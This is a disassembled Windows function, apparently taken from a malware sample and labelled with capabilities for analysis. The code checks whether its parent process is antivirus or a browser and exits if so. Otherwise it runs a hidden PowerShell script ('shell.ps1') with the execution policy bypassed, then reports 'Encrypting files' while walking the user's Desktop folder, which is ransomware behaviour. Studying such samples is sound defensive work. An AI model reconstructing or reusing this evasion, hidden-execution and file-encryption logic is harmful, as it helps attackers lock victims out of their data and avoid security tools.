Function at 0x140001a06
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push rbp
sub rsp, 0x430
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x3a4], eax
mov eax, dword [rbp + 0x3a4]
mov ecx, eax
call sym.getParentProcessID
mov dword [rbp + 0x3a0], eax
mov eax, dword [rbp + 0x3a0]
mov edx, eax
lea rax, str.Parent_process_ID:__lu_n
mov rcx, rax
call sym.printf
mov dword [rbp + 0x39c], 0
mov dword [rbp + 0x3ac], 0
jmp 0x140001aa1
mov eax, dword [rbp + 0x3ac]
cdqe
mov eax, dword [rbp + rax*4 + 0x384]
cmp dword [rbp + 0x3a0], eax
jne 0x140001a9a
lea rax, str.Program_is_being_executed_by_antivirus_or_browser._Exiting..._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001d04
add dword [rbp + 0x3ac], 1
mov eax, dword [rbp + 0x3ac]
cmp eax, dword [rbp + 0x39c]
jl 0x140001a6a
lea rax, str.Program_is_being_executed_by_a_real_user._n
mov rcx, rax
call sym.printf
lea rax, str.shell.ps1
mov qword [rbp + 0x390], rax
lea rax, [rbp + 0x310]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x310], 0x68
mov dword [rbp + 0x34c], 1
mov word [rbp + 0x350], 0
lea rax, [rbp + 0x2f0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rdx, qword [rbp + 0x390]
lea rax, [rbp + 0x1f0]
mov r9, rdx
lea r8, str.powershell__ExecutionPolicy_Bypass__WindowStyle_Hidden__NoProfile__File___s_
mov edx, 0x100
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x1f0]
lea rdx, [rbp + 0x2f0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x310]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 0x38c], eax
cmp dword [rbp + 0x38c], 0
jne 0x140001bd7
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x388], eax
mov eax, dword [rbp + 0x388]
mov edx, eax
lea rax, str.___:__lu_n
mov rcx, rax
call sym.printf
jmp 0x140001c15
mov rax, qword [rbp + 0x2f0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0xe0]
mov r8d, 0x104
mov rdx, rax
lea rax, str.USERPROFILE
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
test eax, eax
jne 0x140001c66
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Error:_USERPROFILE_environment_variable_is_not_set._n
mov rdx, rax
call sym.fprintf
mov eax, 1
jmp 0x140001d04
lea rax, str.Desktop
mov qword [rbp + 0xd8], rax
mov dword [rbp + 0x384], 1
mov dword [rbp + 0x3a8], 0
jmp 0x140001cf1
mov eax, dword [rbp + 0x3a8]
cdqe
mov rdx, qword [rbp + rax*8 + 0xd8]
lea rcx, [rbp + 0xe0]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x30]
mov rdx, rax
lea rax, str.Encrypting_files_in_directory:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp - 0x30]
lea rdx, [0x14000a04c]
mov rcx, rax
call sym.traverse_directory
add dword [rbp + 0x3a8], 1
mov eax, dword [rbp + 0x3a8]
cmp eax, dword [rbp + 0x384]
jl 0x140001c8a
mov eax, 0
add rsp, 0x430
pop rbp
ret